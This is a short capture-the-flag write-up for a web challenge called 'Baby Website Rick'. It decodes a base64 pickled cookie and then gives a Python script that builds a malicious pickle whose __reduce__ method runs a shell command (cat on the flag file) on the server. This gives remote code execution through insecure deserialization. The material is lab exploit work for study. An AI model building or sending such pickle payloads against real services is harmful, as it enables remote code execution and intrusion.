Baby Website Rick
Pickle Deserialization with a slight twist



Last updated
import pickle
import base64
data = 'KGRwMApTJ3NlcnVtJwpwMQpjY29weV9yZWcKX3JlY29uc3RydWN0b3IKcDIKKGNfX21haW5fXwphbnRpX3BpY2tsZV9zZXJ1bQpwMwpjX19idWlsdGluX18Kb2JqZWN0CnA0Ck50cDUKUnA2CnMu'
class anti_pickle_serum(object):
def __init__(self):
return None
data = pickle.loads(base64.b64decode(data))
print(data)
## OUTPUT
(12) โโโ(12)โ(kaliใฟkali)-[~/Desktop/CTF/Web/Baby Website Rick]
โโ$ python2 decode.py
{'serum': <__main__.anti_pickle_serum object at 0x7f8b351843d0>}
import pickle
import base64
import subprocess
import os
class RCEStr(object):
def __reduce__(self):
#if output is not shown, can use subprocess.check_output as well
return (subprocess.check_output), (['cat','flag_wIp1b'],)
pickle_data = pickle.dumps({'serum': RCEStr()})
payload = base64.urlsafe_b64encode(pickle_data)
print(payload.decode('utf-8'))